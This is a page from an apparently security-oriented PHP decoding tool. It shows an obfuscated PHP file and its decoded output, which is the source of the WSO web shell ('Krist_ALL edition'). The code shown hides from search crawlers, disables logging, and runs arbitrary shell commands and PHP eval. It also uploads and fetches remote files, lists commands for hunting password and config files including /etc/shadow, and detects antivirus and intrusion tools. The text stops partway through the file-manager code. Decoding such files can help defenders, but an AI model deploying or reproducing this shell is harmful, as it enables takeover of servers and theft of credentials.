Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $auth_pass = "202cb962ac59075b964b07152d234b70"; $t = 1; $a = "\x67\x7a\x69\x6e\x..
Decoded Output download
$color = "lime";
$default_action = "FilesMan";
$default_charset = "Windows-1251";
if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
foreach($userAgents as $agent)
if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.3');
if( get_magic_quotes_gpc() ) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
}
function wsoLogin() {
echo $t;
if($GLOBALS['t'] == 1) echo '<form method=post><input type=text name=pass><input type=submit value=ok></form>';
else header('HTTP/1.0 401 Unauthorized');
die();
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
wsoLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
@chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else {
$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
$tempdir='./';
foreach( $tempdirs as $item) {
if(@is_writable($item)){$tempdir = $item;}
}
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
}
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "</title>
<style>
body{background-color:#000000;color:lime;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:e1e1e1; }
table.info{ color:#00FFCC;background-color:#000000; font:3pt; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 0px;margin-left:0px;background-color:#000; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#ttoolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:green;}
.main tr:hover{background-color:green;}
.l1{background-color:#000}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
function set(a,c,p1,p2,p3,charset) {
if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
document.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<document.mf.elements.length;i++)
params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
//Div content color:333;
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$millink = 'http://milw0rm.com/search.php?dong=';
if( strpos('Linux', $kernel) !== false )
$millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
else
$millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0;$i<$n-1;$i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0;$j<=$i;$j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('INFO'=>'SecInfo','FILES'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','TOOLS'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['DEL'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if ($GLOBALS['os'] == 'win') {
foreach( range('c','z') as $drive )
if (is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
$SERVER_SOFTWARE = @substr(getenv('SERVER_SOFTWARE'),0,150);
if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
$Lversion = php_uname(r);
$OSV = php_uname(s);
$OSV = str_replace(' ','+',$OSV);
if(stripos('Linux',$OSV) != false)
{
$Lversion=substr($Lversion,0,6);
$google_link='http://www.google.ru/search?q=Linix+Kernel+'.$Lversion.'+exploit';
$paketstorm_link="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+".$Lversion;
$exploitdb_link = "http://www.exploit-db.com/search/?action=search&filter_description=linux+Kernel+".substr($Lversion,0,3);
$securitylab_link='http://www.securitylab.ru/search/index.php?q=linux+kernel+'.$Lversion.'+exploit';
$steam = 'linux kernel '.substr($Lversion,0,3);
}else{
$Lversion=substr($Lversion,0,3);
$exploitdb_link = "http://www.exploit-db.com/search/?action=search&filter_description=".$OSV.'+'.$Lversion;
$paketstorm_link="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$OSV.'+'.$Lversion;
$google_link='http://www.google.ru/search?q='.$OSV.'+'.$Lversion.'+exploit';
$securitylab_link='http://www.securitylab.ru/search/index.php?q='.$OSV.'+'.$Lversion.'+exploit';
$steam = $OSV.' '.$Lversion;
}
echo '<form action=http://securiteam.com/cgi-bin/htsearch method=post id=steam name=steam>
<input type=hidden name=words value="'.$steam.'">
<input type=hidden name=restrict value=/exploits/>
<table class=info border=0 cellpadding=0 cellspacing=0 width=100%>
<font size=1><tr> <td width=1><font color=lime><b>Uname: </b></td><td><font color=white>
'.substr(@php_uname(), 0, 120).' <a href="'.$google_link.'" target="_blank">[ Google ]</a> <a href="'.$exploitdb_link.'" target=_blank>[ Exploit-db ]</a> <a href="'.$paketstorm_link.'" target=_blank>[ Packetstorm ]</a> <a href="'.$securitylab_link.'" target=_blank>[ Securitylab ]</a> <a href=# onclick=steam.submit(); ttarget=_blank>[ SecurityTeam ]</a></td> <td rowspan=4 width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Your IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></form>
<tr height=1><td width=1><font color=lime><b>Server: </b></td><td><font color=white>'.$SERVER_SOFTWARE.'</td></tr>
<tr height=1><td width=1><font color=lime><b>User: </b></td><td><font color=white>'.$user.' ( '.$uid.' / '.$gid.' - '.$group.' )       <font color=lime><b>PHP:</b>    <font color=white>'.@phpversion().'</font>  <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a>  <a href=# onclick="g(\'Php\',null,\'\',\'ini\')">[ php.ini ]</a><font color=lime><b>       HDD: </b></font><font color=white>'.wsoViewSize($freeSpace).' / '.wsoViewSize($totalSpace).' ('.round(100/(wsoViewSize($totalSpace)/wsoViewSize($freeSpace)),2).'%)</font>';
$curl_on = @function_exists('curl_version');
echo ' </td></tr>
<tr><td colspan=2><font color=lime><b>Safe mode: </b>'.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00>OFF</font>').'   <font color=lime><b>Open_basedir:</b></font> ';
if((@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};}
else {echo "<font color=green>OFF</font></b>";}
echo "       <font color=lime><b>cURL: </b></font>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
echo '       ';
if(($mysql_on = @function_exists('mysql_connect'))){
echo "<font color=lime><b>MySQL: </b><font color=green>ON";
if(function_exists('mysql_get_client_info')) {
echo ' <font color=white>('.mysql_get_client_info().')';
echo "</font>       "; }
echo "</font>       "; }
if(($mssql_on = @function_exists('mssql_connect'))){
echo "<font color=lime><b>MSSQL: </b><font color=green>ON</font>       "; }
if(($pg_on = @function_exists('pg_connect'))){
echo "<font color=lime><b>PostgreSQL: </b><font color=green>ON</font>       "; }
if(($ora_on = @function_exists('ocilogon'))){
echo "<font color=lime><b>Oracle: </b><font color=green>ON</font>       "; }
if(($mysqli_on = @function_exists('mysqli_connect'))){
echo "<font color=lime><b>MySQLi: </b><font color=green>ON</font>       ";
}
if(($msql_on = @function_exists('msql_connect'))){
echo "<font color=lime><b>mSQL: </b><font color=green>ON</font>       "; }
if(($sqlite_on = @function_exists('sqlite_open'))){
echo "<font color=lime><b>SQLite: </b><font color=green>ON</font>       "; }
$countf = 0;
if(''!=($df=@ini_get('disable_functions'))){ $countf +=1; echo "<br><font color=lime><b>Disable: </b><font color=white>".$df.'</font>       ';}
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
$temp=array();
if( $GLOBALS['os'] == 'nix' ) {
if(!$GLOBALS['safe_mode']) {
foreach ($userful as $item)
if(wsoWhich($item)){$temp[]=$item;}
} }
else {
//echo implode(', ',$temp);
if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$temp[]="mod_perl";}
if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$temp[]="mod_include(SSI)";}
if (@function_exists('pcntl_exec')) {$temp[] = "pcntl_exec";}
if (@extension_loaded('win32std')) {$temp[]="win32std_loaded";}
if (@extension_loaded('win32service')) {$temp[]="win32service_loaded";}
if (@extension_loaded('ffi')) {$temp[]="ffi_loaded";}
if (@extension_loaded('perl')) {$temp[]="perl_loaded";}
}
if(sizeof($temp) > 0) { $countf +=1; echo '<br><font color=lime><b>Useful: </b><font color=green>'.implode(', ',$temp).'</font><br>'; }
$temp=array();
if( $GLOBALS['os'] == 'nix' and !$GLOBALS['safe_mode']) {
foreach ($danger as $item)
if(wsoWhich($item)){$temp[]=$item;} }
if(sizeof($temp) > 0) { $countf +=1; echo '<font color=red><b>Danger: </b>'.implode(', ',$temp).'</font><br>'; }
$temp=array();
if( $GLOBALS['os'] == 'nix' and !$GLOBALS['safe_mode']) {
$GLOABALS['downloadss'] = array();
foreach ($downloaders as $item)
if(wsoWhich($item)){$GLOBALS['downloadss'][]=$item; } }
//if(sizeof($temp) > 0) { $countf +=1; echo '<font color=yellow><b>Downloaders: </b></font><font color=green>'.implode(', ',$temp).'</font>       '; }
if ($countf > 0) echo '</td></tr><tr><td colspan=2>';
if($GLOBALS['os'] != 'nix') echo '<font color=lime><b>'.$drives.'    ';
echo $cwd_links.'   '.wsoPermsColor($GLOBALS['cwd']).'   <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a>';
echo '</td></tr>
</table>'.
'
<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:0">';
// 5
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?"<font color=lime>":"<font color=red>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr><td><br></td></tr><tr>
<td><form onsubmit='g(null,this.c.value);return false;'><span>DIR </span></td><td><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span></td><td><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>".$is_writable."Make dir:</span></td><td><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>".$is_writable."Make file:</span></td><td><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span></td><td><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>".$is_writable."Upload file:</span></td><td><input class='toolsInp' type=file name=f><input type=submit value='>>'></form></td>
</tr>";
if(sizeof($GLOBALS['downloadss']) > 0) {
echo "
<tr><form onsubmit=\"g('FilesMan',null,'rem',this.updest.value,this.upurl.value,this.remt.value);return false;\">
<td><font color=lime><b>Remote upload </b></td><td colspan=3><select name=remt>";
foreach($GLOBALS['downloadss'] as $dss) {
echo "
<option value=$dss>$dss</option>";
}
echo "</select>
<input tupe=text name=upurl size=60 value=http://google.com/file.zip>
<input tupe=text name=updest size=60 value=".htmlspecialchars($GLOBALS['cwd'])."file.zip><input type=submit value='>>'></form>
</td></tr>";
}
echo "<tr><td colspan=4 align=center><br><i><b>Krist_ALL edition</b></i> </td</tr></table></div></body></html>";
}
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
function wsoEx($in) {
$out = '';
if(function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
}elseif(function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
}elseif(function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif(is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000><b>'.wsoPerms(@fileperms($f)).'</b></font>';
elseif (!@is_writable($f))
return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
else
return '<font color=lime><b>'.wsoPerms(@fileperms($f)).'</b></font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which '.$p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo '<h1>Server information</h1><div class=content>';
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>'.$n.': </span>';
if(strpos($v, "
") === false)
echo $v.'<br>';
else
echo '<pre class=ml1>'.$v.'</pre>';
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if( $GLOBALS['os'] == 'nix' ) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('Syslog', @is_readable('/etc/syslog.conf')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"syslog.conf\")'>[view]</a>":'no');
wsoSecParam('Fstab', @is_readable('/etc/fstab')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"fstab\")'>[view]</a>":'no');
wsoSecParam('Cpuinfo', @is_readable('/proc/cpuinfo')?"yes <a href='#' onclick='g(\"FilesTools\", \"/proc/\", \"cpuinfo\")'>[view]</a>":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version')); echo '<br>';
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
echo '<br>';
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
echo '<br>';
wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); echo '<br>';
wsoSecParam('Ifconfig', wsoEx('ifconfig')); echo '<br>';
wsoSecParam('Uptime', wsoEx('uptime')); echo '<br>';
wsoSecParam('last 10', wsoEx('last -n 10')); echo '<br>';
wsoSecParam('Ps -aux', wsoEx('ps -aux')); echo '<br>';
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionPhp() {
if( isset($_POST['ajax']) ) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('h1','h2',$tmp).'</div><br>';
}
elseif( isset($_POST['p2']) && ($_POST['p2'] == 'ini') ) {
echo '<h1>PHP ini</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
//
function U_value($value)
{
if ($value == '') return '<i>no value</i>';
if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
if ($value === null) return 'NULL';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value))
{
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
function U_wordwrap($str)
{
$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
}
if (@function_exists('ini_get_all'))
{
$r = '';
echo '<table width=100% border=1px>', '<tr><td><div align=center><b>Directive</b></div></font></td><td><div align=center><b>Local Value</b></div></td><td><div align=center><b>Master Value</b></div></td></tr>';
foreach (@ini_get_all() as $key=>$value)
{
$r .= '<tr><td>   <b>'.$key.'</b></td><td><div align=center><b>'.U_value($value['local_value']).'</b></div></td><td><div align=center><b>'.U_value($value['global_value']).'</b></div></td></tr>';
}
echo $r;
echo '</table>';
}
//
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('h1','h2',$tmp).'</div><br>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}
function remup() {
$tool = $_POST['charset'];
$url = $_POST['p3'];
$place = $_POST['p2'];
switch($tool)
{
case wget:
$cmdup = wsoWhich('wget')." ".$url.' -O '.$place;
break;
case fetch:
$cmdup = wsoWhich('fetch')." -o ".$place." -p ".$url;
break;
case lynx:
$cmdup = wsoWhich('lynx')." -source ".$url." > ".$place."";
break;
case links:
$cmdup = wsoWhich('links')." -source ".$url." > ".$place."";
break;
case GET:
$cmdup = wsoWhich('GET')." ".$url." > ".$place."";
break;
case curl:
$cmdup = wsoWhich('curl')." ".$url." -o ".$place."";
break;
}
wsoEx($cmdup);
return 0;
}
function actionFilesMan() {
if($_POST['p1'] != 'edit') wsoHeader();
//wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'edit':
$_POST['p1'] = $_POST['f'][0];
$_POST['p2'] = 'edit';
$_POST['p3'] = "";
